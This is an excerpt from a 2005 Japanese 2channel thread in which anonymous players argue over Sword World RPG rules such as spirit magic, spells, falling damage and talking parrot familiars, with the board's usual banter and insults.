(^ω^)喧嘩なんてしてませんよ

799 :NPCさん:2005/07/10(日) 18:04:39 ID:???
ここはいつだって平和なソスレですよ

800 :NPCさん:2005/07/10(日) 18:07:17 ID:???
互いをやりこめようというやり取りを延々続けるこの連中には
>>22と同見解。

801 :NPCさん:2005/07/10(日) 18:15:58 ID:???
一番重要なのはGMの事前準備

802 :NPCさん:2005/07/10(日) 18:19:32 ID:???
>>800
A 2CHで何言ってんだヴォケ
B 無理やり静まった所に再着火するなヴォケ
C オマイが一番の糞GMちゃうんかヴォケ
>D その通りですスミマセン

平和なこのスレはコマンドDを選択

803 :NPCさん:2005/07/10(日) 18:36:36 ID:???
>>802
君はソスレで言う平和を勘違いしている。

804 :NPCさん:2005/07/10(日) 18:54:12 ID:???
A ソスレで何言ってんだヴォケ
B 無理やり静まった所にチビーナ着火するなヴォケ
C オマイが一番の困ったちゃうんかヴォケ
>D ころしてでも平和する

生粋のソ厨であると自覚する漏れはコマンドDを選択

805 :NPCさん:2005/07/10(日) 18:56:11 ID:???
>>803
俺は普通の平和が欲しい

806 :NPCさん:2005/07/10(日) 18:56:22 ID:???
ソスレで平和って言ったらこれしかないだろ

E ループ議論に持ち込む(宗教談義とか)

807 :NPCさん:2005/07/10(日) 19:05:57 ID:???
まずは平和とは何のことかを定義しないとな。

808 :NPCさん:2005/07/10(日) 19:07:31 ID:???
スタ厨のマッチポンプうぜぇ。
叩くために自演で演出してんじゃねぇよ

809 :NPCさん:2005/07/10(日) 19:29:30 ID:???
>>771
俺はプレイヤー側なもんでプレイすることに際してファンドリアシナリオは読んじゃダメってことだったんでわからん
多分なんとなく例の新しい邪神のネタであるとは思うんだが…

いかんせん冒険者的な立場というものがちょっと他の場所とは違って分かり辛かった事もあって(所属している組織に義理立てなきゃいけないのかなという思い込みが…)、
妙にプレイヤー間やマスターとプレイヤーの間で緊張が走りまくっててな

きびしー

810 :NPCさん:2005/07/10(日) 19:33:20 ID:???
>>807-808
平和の定義に続いてマッチポンプ

…スレ違いな朝日叩きに誘導しようという自演超人パワーを7000万ほど感じる
何もかも自演に見えてくるのは末期的だ…

811 :NPCさん:2005/07/10(日) 20:11:13 ID:???
関係ないがこれだけは言わせれ「豚に小判」は正しい。

♪豚とケンカは江戸の華 豚は小粒でちょっと辛い
 豚に引かれて寺参り 豚は道連れ世は情け
 うの目豚の目 豚で鯛を釣る 豚に小判 豚に真珠♪

812 :NPCさん:2005/07/10(日) 20:17:36 ID:???
一般的に「間違い」と思われても仕方のない言葉を
わざわざ出して、ツッコまれたらそら行けとばかりに
解説。
いるよね、こういう気持ちの悪い子。

813 :NPCさん:2005/07/10(日) 20:40:28 ID:???
>>811
基本的に>>787の錯誤からの流れなので
最後に言い放って終わらせるのは無理ぽ
妥協すれ

814 :NPCさん:2005/07/10(日) 21:06:03 ID:???
よし、論争だな
【え、ここ棄てプリスレじゃないの】

815 :NPCさん:2005/07/10(日) 21:16:32 ID:???
精霊魔法のQ&A見てたんだけど、
ノームを支配してると敵の金属鎧や金属の壁とか普段トンネルで穴をあけられないモノに穴をあけられるって凄いな
ってことは、同じ原理でスピリットウォールノームを金属の壁や床の所ですると、金属の壁ができあがるのかな(耐久力は普通の時と同じで)?
ストーンブラストの呪文も鉄の弾が飛ぶ事になるのか・・・(ダメージかわらんだろうけど)
なんかスゲエエエエエエエエ

816 :NPCさん:2005/07/10(日) 21:17:19 ID:???
いや、どこが同じ原理なんだ、それ。

817 :NPCさん:2005/07/10(日) 21:20:47 ID:???
>>816
金属でも土と同じようになっちゃうところ

818 :NPCさん:2005/07/10(日) 21:23:00 ID:???
魔法のかかってる壁でも穴あくのな・・・これ
奇妙な光景になりそうだま、鉄の壁とか

819 :NPCさん:2005/07/10(日) 21:28:59 ID:???
スピリットウォール・ノームはどこでやっても土の壁だろう
そもそもスピリットウォールってのは精霊自体が集まって壁になる魔法だぞ
金属の床でやろうと、ノームは土だ

820 :NPCさん:2005/07/10(日) 21:36:06 ID:???
>>809
盗賊ギルドのメンバー3人が殺された事件を捜査してその原因を排除する依頼を受けるっていうシナリオかな?
だったら3つ目のシナリオだ。

ファンドリアでの冒険はいろいろと他での冒険とは違う所があるから
慣れないと難しいのかもな。
……って、俺はファンドリアでプレイした事ないんだけどさw

821 :NPCさん:2005/07/10(日) 21:38:00 ID:???
>>819
あ・・・そうなのか
「地面から盛り上がってくる」とか書いてあったから鉄の壁になるとおもったよ

822 :NPCさん:2005/07/10(日) 21:41:53 ID:???
へっぽこ漫画どこにもうってねーorz

823 :NPCさん:2005/07/10(日) 21:42:49 ID:???
重版されるらしいよ。

824 :NPCさん:2005/07/10(日) 21:45:30 ID:???
取り寄せ注文したら二週間待ちだとさ

('A`)ヴゥォア

825 :NPCさん:2005/07/10(日) 21:58:02 ID:???
カウンターセンスをかけておいたPCに敵NPCがロケーションをかけた、
という状況があったんだけれど、ツアー「ロマール」の巻末呪文チャートだと
「相手の居場所などを知ることができる」とあるのだけれど、ベーシックにはそのことが載っていない。
完全版ではどう記述されているの?
セッション中では「場所」がわかるのか、かけた人の「周囲の風景」がわかるのかでちょっともめたのだけれど。


826 :NPCさん:2005/07/10(日) 22:05:09 ID:???
>>825
完全版でも特に書いてないな。居場所が分かるってんだから
居場所を判断するのに過不足ない情報を与えておけばいいんじゃないか?

827 :NPCさん:2005/07/10(日) 22:29:15 ID:???
一時的な超感覚発動で、対象物の大体の距離と方角が分かるんじゃなかったっけ?

828 :NPCさん:2005/07/10(日) 22:46:32 ID:???
>>826
とりあえずセッション中では「見ているな、ジョースター!」とやったら、
アスワンウェウェバエがわかるくらいには周囲がわかっていいことにしてもらえた。

829 :NPCさん:2005/07/10(日) 22:51:55 ID:???
>>828
その場合カウンターセンスを使ったのはディオになるわけなんだが。
そんなことはどうでもいいと言えばその通りなわけなんだが。

830 :NPCさん:2005/07/11(月) 00:02:17 ID:???
完全版でも「かけた相手、相手の居場所などを〜」しか書いてない。
GM判断だな。俺がGMだったら周囲の風景が見えることにする

831 :NPCさん:2005/07/11(月) 01:27:59 ID:???
カウンターセンスで反撃してみると、相手はメデューサだった。
たちまち石化!

832 :NPCさん:2005/07/11(月) 02:06:46 ID:???
そんなくだらないことよりスレタイでシナリオでも作ってみようぜ

833 :lie:2005/07/11(月) 02:10:45 ID:???
>>825
完全版には(ツアー・ロマールと同様)、「かけた相手、相手の居場所などをしることができる」という記述があります。
これは、ベーシックでは(文庫サイズながらに)一覧性を高めるため、完全版(やロマール)で設定されている魔法データのうち「効果」の項目が削られているためです。
「効果」が削られた影響は他の魔法にもあるかもしれませんので、迷ったらロマールの方を採用することをお薦めします。
では、では。

834 :理恵 ◆dT8eX.BP8E :2005/07/11(月) 03:02:14 ID:???
>>815
ノームを支配しているからといって、金属の壁にトンネルをかけられるというのは世界観的に不自然だと思います。
少なくとも私は水野氏や清松氏の小説でそのようなシーンを見た覚えはありません。

835 :NPCさん:2005/07/11(月) 03:15:29 ID:???
清松のFAQで、そうなってることをあっさり無視するあたり、キモオタ

836 :理恵 ◆dT8eX.BP8E :2005/07/11(月) 03:31:26 ID:???
???
私の知る限り、ソードワールドRPGに“FAQ”など存在しないのですが?
確かにQ&Aでは可能となっていましたが、単なるゲーム上の都合でしょう。

837 :NPCさん:2005/07/11(月) 03:32:12 ID:???
清松のQ&Aで、そうなってることをあっさり無視するあたり、キモオタ

838 :NPCさん:2005/07/11(月) 03:32:45 ID:???
何をいいたいんだか判らないんだけど。

839 :NPCさん:2005/07/11(月) 03:35:28 ID:???
金属を四元素のうちどこに分類するかといったらアースのとこに入れるしかないとおもうがな。
アースエレメンタルが金属を操れないってのは不自然ではないかね

840 :NPCさん:2005/07/11(月) 03:38:37 ID:???
銀とミスリル銀以外は精霊界に無いからどうとかいう設定なかったっけ?
その辺考えると操れなくても不思議はなさげだが、操れたとしても納得できる範囲ではある。

841 :NPCさん:2005/07/11(月) 03:43:59 ID:???
別に、金属を四元素のどれにするかとかじゃなく、
コントロールスピリットしている精霊が存在消滅しない場所なら
使えるでokなんじゃないの?

無の砂漠やら水中での水以外は、解放した途端存在を否定されるからダメって程度で。
ルール的に言えば加工された石の壁も金属の壁もノームは存在しねーし。

842 :NPCさん:2005/07/11(月) 03:52:26 ID:???
>>839
金属を四元素に分類するという前提がおかしいんだ。
精霊力の介在しないものなのだから操れないことに疑問の余地はない。

843 :NPCさん:2005/07/11(月) 03:55:00 ID:???
そもそも、なぜ石畳などに加工された途端、ノームの力が働かなくなるんだ?

ノームの働く場所から粘土を取り出し、人間の形にして焼く。
そうして完成した像にはノームの力が働かない。
その像を細かく砕いた断片にも、やっぱりノームの力は働かない?
そのへんの土地にばらまいたらもう区別がつかないと思うんだが。

844 :NPCさん:2005/07/11(月) 03:57:22 ID:???
腐った水には精霊力は働かない。
そして腐った水を正常な水に入れた場合どうなるのか。
と言うのと似たようなものだな。
割合による、って感じじゃねえかな。

845 :NPCさん:2005/07/11(月) 04:01:21 ID:???
>腐った水には精霊力は働かない。

ソースがないと信じられませんね!

846 :NPCさん:2005/07/11(月) 04:05:50 ID:???
じゃあ信じなくて良いよ。

847 :NPCさん:2005/07/11(月) 04:14:13 ID:???
腐った水や加工された石には精霊力は働きますよ。
ただ精霊を呼ぶ門が開けないだけです、だから対応する精霊を連れていれば腐った水の上を歩けるし加工された石に穴を開けられます

848 :NPCさん:2005/07/11(月) 04:32:24 ID:???
昔sfの掲示板で自称女の同人痛ビトが
腐った水には水の精霊力が働かないし、飲んでも渇きは満たされないと主張してたが
ソースは最後まで出てこなかったな
同じレベルのヤツがいるみたいで笑えたよ

849 :NPCさん:2005/07/11(月) 04:33:50 ID:???
腐った水と死んだ水は違うの?

850 :NPCさん:2005/07/11(月) 04:36:02 ID:???
>>843
ばらばらに砕いて、そこらの露出された土の所に撒いたら、
また自然に戻って、精霊界との門が開くようになる。でいいんじゃね?

適切な例じゃないかもしれんが、人が住んでいない所にブラウニーはいないけど、
またその場所に人が住み始めて、年月が経てばブラウニーも存在するのと同じように。

>>845
確か、バラールの門だったかのぅ? 旧版のだが、投降シナリオ集。
そのシナリオの中で、水が腐敗(までいかないが、澱んだ池)には
ウンディーネは居ないとかなんとか、シナリオにダメだししていたような気がする。
ちょっとあやふやなんで、正確に知りたかったら、上記の文庫を探し出して読んどくれ。

851 :NPCさん:2005/07/11(月) 04:43:14 ID:???
>>847
働くのは確かだな。
でも働いてないのも確かだな。

852 :NPCさん:2005/07/11(月) 04:46:44 ID:???
実は石畳に一見見えるモノの中には、一度火の精霊の影響を受けた
素焼きタイルが交じっている所為で
ノームが働かないこともある…とか
水流カッターで切り出した石は…以下略とか
ストーンブラストに石畳が反応したら困るとか
きっと理由はいろいろあるんだろう。

スレ違いかも、だが、某バイアシオンで自由な旅をしてたんだが
呪いのアイテム:シャロームの腕輪とか浮かんだ
付けると呪われる。
まずスピリチュアル・デスがかかる。
掛かったら永続フル・ポテンシャルが掛かる。
場合によっては人間を超えた、強化人間ゴーレムのいっちょあがり。
…わかる人だけわかって。。

853 :NPCさん:2005/07/11(月) 04:54:08 ID:???
なぜか>>852が見えない。

854 :NPCさん:2005/07/11(月) 05:08:12 ID:???
地水火風の精霊という理論はフォーセリアの賢者たちの誤解で、熱と氷、光と闇、気体、液体、固体の精霊で成り立つというのが神の禁断の知識。
ソースは、暗黒伝説。
だから腐った水でも、死んだ水にも液体の精霊力は働いている罠。
ウンディーネを召喚するのに適さないだけで。

855 :NPCさん:2005/07/11(月) 05:09:32 ID:???
少なくとも水の精霊力は働いていない。

856 :NPCさん:2005/07/11(月) 05:12:23 ID:???
ソースがないと信じられませんね!

857 :NPCさん:2005/07/11(月) 05:53:37 ID:???
人体にも、サラマンダー、ウンディーネ、ノームは常に働いている。
ソースは、毒、病気、化膿のルール。
だけど、人体は見た感じ小川を流れる水じゃないし、ルールで人体からファイアボルトやストーンブラストは撃てない罠。
ここからも、精霊力が働いているのと、精霊を召喚する扉が開けるかどうかは別問題だと分かるわけだが。
死んだ水に水の精霊が働いていないというソースは何なの?

858 :NPCさん:2005/07/11(月) 05:55:33 ID:???
人体は生命の精霊力が強すぎるから、と言う理屈付けがあるぞ。
死んだ水に水の精霊力は死せる神の島、加工した石に地の精霊力はルールブック。


859 :NPCさん:2005/07/11(月) 05:58:00 ID:???
そもそも死んだ水って何だ?
精霊力が空になると、物質は白い砂になるんだが?
ソースは今月のドラマガ。

860 :NPCさん:2005/07/11(月) 06:00:19 ID:???
>>858
なんだ死神島か(ぷ

861 :NPCさん:2005/07/11(月) 06:05:37 ID:???
精霊力が働いていない水は、間接的に清松もQ&Aで存在を認めてるぞ

862 :NPCさん:2005/07/11(月) 06:09:56 ID:???
それは精霊が召喚できない理由だ罠

863 :NPCさん:2005/07/11(月) 06:18:42 ID:???
清松は、シャーマンのセンスオーラのページみりゃ分かるけど、扉が開けないことを「精霊力が働いていない」と書くミスが多いだけだ
ミスというか、ゲーム上の描写の簡便化のためだろうな
シャーマンが生き物である以上、常に地水火の精霊力は働いてるけど、魔法が使えない以上は働いていることを描写するゲーム的意味がないから。

864 :NPCさん:2005/07/11(月) 06:24:08 ID:???
へえ、それをミスと断定できるくらい設定に詳しいんですね

865 :NPCさん:2005/07/11(月) 06:32:10 ID:???
>>864
断言してねぇし
毒のとことシャーマンのとこで扱いが違う事のはルルブもってりゃ明らかだし
社会のダニみたいな脳内捏造オタは芯でくださいマジで

866 :NPCさん:2005/07/11(月) 06:37:55 ID:???
黒歴史化された悔しさでムギャオーした死神島の狂人者さんですね>>864

867 :NPCさん:2005/07/11(月) 06:38:02 ID:???
>扉が開けないことを「精霊力が働いていない」と書くミスが多いだけだ

>断言してねぇし

え? えええええええええええええええ?!

868 :NPCさん:2005/07/11(月) 06:45:29 ID:???
鎧にトンネルかけたら、強制的に鎧を濡ガス事になるんだよな
バラバラになって落っこちちゃうから
なんかせこいなぁ

869 :NPCさん:2005/07/11(月) 06:50:56 ID:???
いやん

870 :NPCさん:2005/07/11(月) 07:14:29 ID:???
またエロネタか?w

871 :NPCさん:2005/07/11(月) 07:30:08 ID:???
>>870
でも直接金属鎧を着ているってことはないでしょ
薄い服を着ているはず

むしろ裸+鎧の方がなんだかエロい

872 :NPCさん:2005/07/11(月) 07:49:06 ID:???
>裸+鎧
つ[アリシアン]
あれはレザーだけど。

873 :NPCさん:2005/07/11(月) 08:18:04 ID:???
コンスピで何ができて何ができないか適当な気がするな、件のQ&Aは

874 :NPCさん:2005/07/11(月) 09:00:11 ID:???
金鉱でトンネルかけたら金だけ残るのかな


875 :NPCさん:2005/07/11(月) 09:03:14 ID:???
・・・・なんか昨夜はすごい勢いで基地外lieが出没してるんだな。
レスの3割ほどか?

876 :NPCさん:2005/07/11(月) 09:07:20 ID:???
>>874
俺は芝生でトンネルかけたら芝がどうなるのか知りたい。

877 :NPCさん:2005/07/11(月) 11:26:36 ID:???
アンデット系限定でモンスターの情報をセージだけでなく
プリーストレベルでの判定も可能にしても良いよな…

878 :NPCさん:2005/07/11(月) 12:19:03 ID:???
それをやると野生動植物系限定でレンジャーレベルでの判定も可能
魔法生物系限定でソーサラーレベルでの判定も可能と際限が無いが
別に鳥取でやる分にはいいよな

879 :NPCさん:2005/07/11(月) 12:30:35 ID:???
>>878
> 野生動植物系限定でレンジャーレベルでの判定も可能
これは元から可能だな。しかも野生に限らないぞ。

880 :NPCさん:2005/07/11(月) 12:43:23 ID:???
・水の精霊魔法を使用する為の条件:精霊を呼び出す為の門として「水」という物質が必要「自然の川」「湖」「海」
・門として適さないの水:他の精霊力の強いもの「温泉=火」「氷河の水=氷」
・例外としてコンスピなんかで「門からこっち側へ呼び出して」おいて水袋の水なんかに宿らせて置いとけば精霊魔法に使える
・またコンスピでウンディーネを携帯してればそれを門として他の水精霊を召還できる

こんな感じじゃね?

881 :NPCさん:2005/07/11(月) 12:43:35 ID:???
そうそうレンジャーがいればジャイアントスラッグもわかるぜ

882 :NPCさん:2005/07/11(月) 12:45:12 ID:???
精霊と精霊力は別のもんだろ

883 :NPCさん:2005/07/11(月) 12:49:32 ID:???
>>880
温泉はいいんじゃないか?
アウトなのは水蒸気だろう。

884 :NPCさん:2005/07/11(月) 12:56:13 ID:???
サラマンダーのため門として適さなくなるのを100度
フラウのため門として適さなくなるのを0度として…

885 :NPCさん:2005/07/11(月) 12:58:33 ID:???
>>884
なら高所なら気圧が低いから80℃ぐらいで水蒸気に
【馬鹿は現実世界を持ち出した】

886 :NPCさん:2005/07/11(月) 13:01:03 ID:???
気圧は無いよ?

887 :NPCさん:2005/07/11(月) 13:03:39 ID:???
水蒸気はシルフの管轄だと思う。
サラマンダーはフラウ⇔ウンディーネ⇔シルフの間の橋渡しをやっているんだよ。

888 :NPCさん:2005/07/11(月) 13:08:25 ID:???
>>884-886
塩水なら0℃以下でも凍らないな。

889 :NPCさん:2005/07/11(月) 13:09:38 ID:???
>>886
あんな苦し紛れの妄言をいつまで有り難がってるんだよ、恥ずかしい。

890 :NPCさん:2005/07/11(月) 13:11:59 ID:???
モケケピロピロよりは信頼できると思うが?

891 :NPCさん:2005/07/11(月) 13:13:34 ID:???
どっちかっていうと水圧が有るのがおかしいな

892 :NPCさん:2005/07/11(月) 13:20:56 ID:???
水圧がないと沈むじゃないか

893 :NPCさん:2005/07/11(月) 13:23:51 ID:???
物理は忘れろ!
って水野が言ってました。

894 :NPCさん:2005/07/11(月) 13:24:36 ID:???
しかし
常識で考えろ!
って清松が言ってました。

895 :NPCさん:2005/07/11(月) 13:26:24 ID:???
>>893
ルルブに書いてなくても枝から離れた林檎は地面に落ちる、
などと言うためには物理を忘れてはいけません。

物理を忘れていいのは話が量子論とかに及んだ時じゃないかなぁ。

896 :NPCさん:2005/07/11(月) 13:31:48 ID:???
物理のどこまでが常識かは卓によるとしか言いようがないねえ。

897 :NPCさん:2005/07/11(月) 13:34:21 ID:???
>>896
「その時点で習っているところまで」
高校生グループで1人だけ物理取ってない、とかならそいつに合わせてやれ。

898 :NPCさん:2005/07/11(月) 13:36:51 ID:???
確かに理系のヤツだけの卓と文系のヤツが入ったときとで
うちのプレイは明らかに常識の物差しが異なる。
あと軍オタだけの卓と非軍オタが入ったときとでも違う。

899 :NPCさん:2005/07/11(月) 13:39:25 ID:???
軍オタはTRPGの鬼門、なんちてな

900 :NPCさん:2005/07/11(月) 13:41:51 ID:???
とりあえずニュートン力学までは適用しておけば良いんじゃね?

901 :NPCさん:2005/07/11(月) 13:42:38 ID:???
なにそれ?

902 :NPCさん:2005/07/11(月) 13:44:22 ID:???
ガリレイの落体の法則ぐらいまで譲歩しる

903 :NPCさん:2005/07/11(月) 13:49:20 ID:???
>>890
モケケピロピロは清松も認める公式設定だろw
目を逸らすなよ。

904 :NPCさん:2005/07/11(月) 13:49:22 ID:???
>>902
キン肉マンができなくなるから却下。

イリーナ:貴方が私より早く落下するのは、この重い鎧があるからですっ!!
ヒース:フォーリングコントロール(ぼそっ)

905 :NPCさん:2005/07/11(月) 13:52:36 ID:???
イリーナより重い鎧って何者だよ?

906 :NPCさん:2005/07/11(月) 13:54:13 ID:???
アイアンゴーレム

907 :NPCさん:2005/07/11(月) 13:55:42 ID:???
巨人像

908 :NPCさん:2005/07/11(月) 14:43:41 ID:???
巨人像に逆ロビン・スペシャルを掛けるイリーナ…スゲェ

909 :NPCさん:2005/07/11(月) 14:53:13 ID:???
イリーナならクレスポと一緒にアトンと巨人像にマッスルドッキングをかますくらいのことはやってのけるさ

910 :NPCさん:2005/07/11(月) 14:54:20 ID:???
クレスポが超人強度不足で死にそうだなそれ

911 :NPCさん:2005/07/11(月) 14:57:05 ID:???
イリーナがスカートめくりあげると謎の光が出ていろいろ不思議なことがおきるよ!

912 :NPCさん:2005/07/11(月) 14:59:45 ID:???
クレスポは人間強度が不足してるからな

913 :NPCさん:2005/07/11(月) 15:32:37 ID:???
水圧はあるぞ
バブリーズ編で水圧でダークエルフを殺してたじゃないか
海底だから水深300mはあるかな?
j3、200mもあればペチャンコだな

914 :NPCさん:2005/07/11(月) 15:43:38 ID:???
つうかDWPがある時点で
水圧が無いって主張してるヤツは誰もいねえって。
891は「無い方がよかったね」っつってるだけだし。

915 :NPCさん:2005/07/11(月) 15:52:01 ID:???
フライトの高度限界は?
いやルーール上どこまでもな気はするのだが
「混沌〜」に限界があるっぽいことを書いていたような。

916 :NPCさん:2005/07/11(月) 15:53:40 ID:???
死んだ水は水野がクリスタニアで書いてたな

917 :NPCさん:2005/07/11(月) 16:18:27 ID:???
ソースは具体的にどうぞ

918 :NPCさん:2005/07/11(月) 16:19:37 ID:???
限界が示されない以上、一兆℃のヒートメタルも再現可能。
ただし熱ダメージは10レート。

919 :NPCさん:2005/07/11(月) 16:36:24 ID:???
誰も水野小説なんて糞つまらんもの読み返したくないんだって。
それを察してやれ。

920 :NPCさん:2005/07/11(月) 16:38:56 ID:???
>>904
大気中であるかぎり、嘘ではないぞ。
まあ、どの程度の差があるのかと言われればアレだが。

921 :NPCさん:2005/07/11(月) 16:40:29 ID:???
それは重量ではなく翼面加重の問題なのではないかと

922 :NPCさん:2005/07/11(月) 16:41:04 ID:???
>>918
何を言っているんだおまいは・・・・
「10レートダメージ程度の熱を鎧に与える」って事だろ

923 :NPCさん:2005/07/11(月) 16:44:43 ID:???
>>921
まあ、空気抵抗と密度の問題だわな。
だから、密度の高い鋼鉄製の鎧で早く落ちるのは正しいのだよw





つうか、強力な防具をつけてリングに上がるのは卑怯だと思う。

924 :NPCさん:2005/07/11(月) 16:47:47 ID:???
>>921
最終的には重力と空気抵抗の大きさが釣り合った形で等速直線運動を行う筈なので、
形状の差による空気抵抗と流体中の運動ということで空気の渦による揚力を加味しなけりゃならん。

どっちにしろ、鎧によって位置が変わるほどの変化は難しいだろう。
パラシュートみたいな鎧なら話は別だが。

925 :NPCさん:2005/07/11(月) 16:51:43 ID:???
実は鎧にいくつかスラスターが付いてたんだよ!

926 :NPCさん:2005/07/11(月) 16:54:35 ID:???
マジックアイテムの価格計算、もう残ってないのかOTL

927 :rurie:2005/07/11(月) 17:30:09 ID:1HEtHkab
新しく乗っけてから消す位の心の余裕が欲しい所だよな。っとによお。

928 :rurie:2005/07/11(月) 17:32:40 ID:5WEX3PYW
http://web.archive.org/web/20030605134629/www.groupsne.co.jp/htm/htm/qa/switemv/itemindex.htm
っと思ったらこっちかい。

929 :NPCさん:2005/07/11(月) 18:04:41 ID:???
フォーリングコントロールをかけた岩を崖から2倍速で落としたらダメージは何倍?

930 :NPCさん:2005/07/11(月) 18:09:01 ID:???
>>929
http://www.trpg.net/designer/kiyomatsu/games/swqa/pre/pre9908.htm#03
単純に、速度が2倍になれば運動エネルギーは4倍なのでダメージも4倍、と考えても可。

931 :NPCさん:2005/07/11(月) 19:22:46 ID:???
4倍の運動エネルギーが4倍の耐久点を減少させるとは限らないがな。

932 :NPCさん:2005/07/11(月) 19:27:18 ID:???
必要筋力と重さの関係から考えても、運動エネルギー=ダメージって事は考えられないな。

933 :NPCさん:2005/07/11(月) 19:57:32 ID:???
>>811
誰からも“山本正之(タイムボカン)”かよ!とツッコミされないところが哀れですな

934 :NPCさん:2005/07/11(月) 20:15:21 ID:???
みんなリアルリアリティに夢中ですから

935 :NPCさん:2005/07/11(月) 20:47:54 ID:???
レンジャーって、深海魚までわかるんだよな…スゲェぜ!

936 :NPCさん:2005/07/11(月) 20:49:43 ID:???
深海魚の知名度は高そうだがな。

937 :NPCさん:2005/07/11(月) 21:01:21 ID:???
>>933
つっこみしなくてもみんな知ってるとおもた

ところでベルカナがトラ猫を使い魔にしたのはルール違反だよな?

938 :NPCさん:2005/07/11(月) 21:05:20 ID:???
はいはい。またぺらぺらアンチが来ましたよっと

939 :NPCさん:2005/07/11(月) 21:06:36 ID:???
>>938
黙れみやび厨!

940 :NPCさん:2005/07/11(月) 21:07:10 ID:???
>937
第二部リプレイの魔術師がすでにルールブックにない鳥を使い魔にしてたはず。
あと第三部のフィリスの使い魔もぶち猫なのでルール違反。

出すのが遅すぎるネタだね。

941 :NPCさん:2005/07/11(月) 21:08:44 ID:???
GMが認めればリュンクスでもおK

942 :NPCさん:2005/07/11(月) 21:19:02 ID:???
ブチ猫もそうだが、
ツアー・ファンドリアにはろくな説明もないままイタチの使い魔が出ている。
ルルブの使い魔表は例示に過ぎないんだろう。

943 :NPCさん:2005/07/11(月) 21:23:26 ID:???
【ハウス】【考察】
今まで出たファミリアーの条件を考察するに、
・生命力・精神力が5以下
・通常はモンスターレベル1未満で、戦闘力もない。当然モンスターデータもなし。
・第三者と直接意思の疎通ができてはならない。虫はグラランと意思の疎通ができるので不可。
・特殊能力は通常の動物の範囲に限定される。
こんな範囲みたいだ。

944 :NPCさん:2005/07/11(月) 21:28:08 ID:???
魚でもOKなんだろうか?
テルキーネスのソーサラーなんかは、魚のファミリアーが向いてそうだが。

945 :NPCさん:2005/07/11(月) 21:31:11 ID:???
>>943
> ・第三者と直接意思の疎通ができてはならない。虫はグラランと意思の疎通ができるので不可。
オウムとか駄目ですか?

946 :NPCさん:2005/07/11(月) 21:34:42 ID:???
オウムができるのはモノマネ。

ペットと飼い主や調教師、サーカスの動物と猛獣使い以上に、会話並のダイレクトな意思の疎通だろ。

947 :NPCさん:2005/07/11(月) 21:35:24 ID:???
スマソ
「禁止条件になるのは、」が抜けていた。

948 :NPCさん:2005/07/11(月) 21:36:16 ID:???
>945
なあ、ひょっとして鸚鵡とか九官鳥が本気で人語を解して喋ってると思ってるのか?
常識を知らなさ過ぎますね。

949 :NPCさん:2005/07/11(月) 21:37:08 ID:???
>>946
使い魔になった時点で知力上がってそうな。
少なくとも主人とは意志疎通しているわけだし。
あとは人並みの発声器官があればいいんじゃね?

という解釈で。

950 :NPCさん:2005/07/11(月) 21:37:32 ID:???
>946
>オウムができるのはモノマネ
サリンを作って地下鉄にばらまいたりとか、拉致監禁して殺したりとか、お布施を集めたりとか…

【馬鹿は実演してみた】

951 :NPCさん:2005/07/11(月) 21:38:48 ID:???
>949
>使い魔になった時点で知力上がってそうな。
ソースは?るるぶにゃそんな記載はなかったぞ。
小説?グレーソソードやラージシールドに知性を認めるような小説の描写を鵜呑みにするのは危険だよ。

952 :NPCさん:2005/07/11(月) 21:41:11 ID:???
カラスは幼児くらいの知能があるらしいな。

953 :NPCさん:2005/07/11(月) 21:42:00 ID:???
>>951
「少なくとも主人とは意志疎通しているわけだし」のあたりがソースじゃないけど根拠。
一定以上の知性がないとできないような行動させてない?

954 :NPCさん:2005/07/11(月) 21:43:16 ID:???
>952
鴉もオウム並のモノマネが可能らしいが、人語を解して自在に操る事は出来てないよ。

955 :NPCさん:2005/07/11(月) 21:44:00 ID:???
>953
主人の1km以内じゃないのか?
無意識に指令を出してコントロール可能性もある。

956 :NPCさん:2005/07/11(月) 21:45:01 ID:???
ソーサラーの外部スピーカーぐらいには使えるか…?

957 :NPCさん:2005/07/11(月) 21:47:51 ID:???
>956
オウムとか九官鳥なら可能だろ。>954からカラスでもできるかもな。
ただし本物の呪文詠唱はできない。
ちなみにこの手のモノマネは音を真似るので、元となる声の質もある程度再現可能。

958 :NPCさん:2005/07/11(月) 21:49:07 ID:???
虹の水晶宮に出てきたケンタウロスの賢者がオウムを使い魔にして
メッセージを伝えたりしていたよ。
これはNPC特権だとか書いてなかったからPCが使っても良いと思う。

959 :NPCさん:2005/07/11(月) 21:50:50 ID:???
声帯の構造上、オウムや九官鳥も人語をしゃべるのは無理だぞ。
一部を無理やり似せてるだけなんだから。
会話なんて絶対無理。
犬としゃべるような物。

960 :NPCさん:2005/07/11(月) 21:52:33 ID:???
>959
近所の九官鳥は「キューちゃん」としゃべってたが。
少々不明瞭かもしれんが、十分人語に聞こえる声を出せるよ。

961 :NPCさん:2005/07/11(月) 21:53:39 ID:???
>>955
使い魔オウムがソーサラーと1km以内にいれば
ソーサラーを介して他人との会話が可能、って感じ?

962 :NPCさん:2005/07/11(月) 21:54:54 ID:???
>959
>犬としゃべるような物
お前、使い魔の話ってのを忘れてないか?
お前、人間の言葉を真似る鳥がいるってのを忘れてないか?

963 :NPCさん:2005/07/11(月) 21:56:31 ID:???
>961
話は聞けるし、なんとか人語に近い音は出せるし、それなりに会話は可能だね。

964 :NPCさん:2005/07/11(月) 21:56:46 ID:???
>>953
逆に主人が、使い魔の位置まで下りて行っているのだと思うが

オウムや九官鳥は、人がワンだとかニャーとか言ってるのと同じで似てても意味は無い
すでに憶えている単語を言わせることは出来そうだけど
その場でスピーカーはどうだろう?日本語なら50音を憶えさせればいけるのか?

965 :NPCさん:2005/07/11(月) 21:59:44 ID:???
>>964
>>958の例もあるから、結構細かいとこまで操作できるんだろう。

966 :NPCさん:2005/07/11(月) 22:01:18 ID:???
>>964
それも根拠レスだなぁ。
実際のところ使い魔は知性はともかく本能を押さえ込むほどの強制力はあるみたいだが

967 :NPCさん:2005/07/11(月) 22:01:34 ID:???
Q&Aにもこの手の質問は多かったみたいだけれど
大前提としてGMが認めればOKってことでしょ?
リアリティだとか世界観だとか、好みだとかの以前に自分がGMなら認めるかどうかの問題だから、
できるできないでもめても仕方ないのでは。

968 :NPCさん:2005/07/11(月) 22:01:48 ID:???
関節が動くからといって、だれしもダンスを上手く躍れるわけじゃないのと一緒で、
発声が可能だからといって、使い魔の鳥がいきなり上手く人間の声を出せるとは限らない。
やっぱり、ある程度五十音とかを練習させないと、「喋る」というレベルには難しそう。
ま、PLが「GM、暇な時に訓練させます」と一言言えばOKそうだが。

969 :NPCさん:2005/07/11(月) 22:04:12 ID:???
オウムや九官鳥、
シナリオが始まる前に1D6ぶんだけ単語を覚えさせることができる、というのはどうか?

970 :NPCさん:2005/07/11(月) 22:05:52 ID:???
Q&Aで回答済みだったのな。
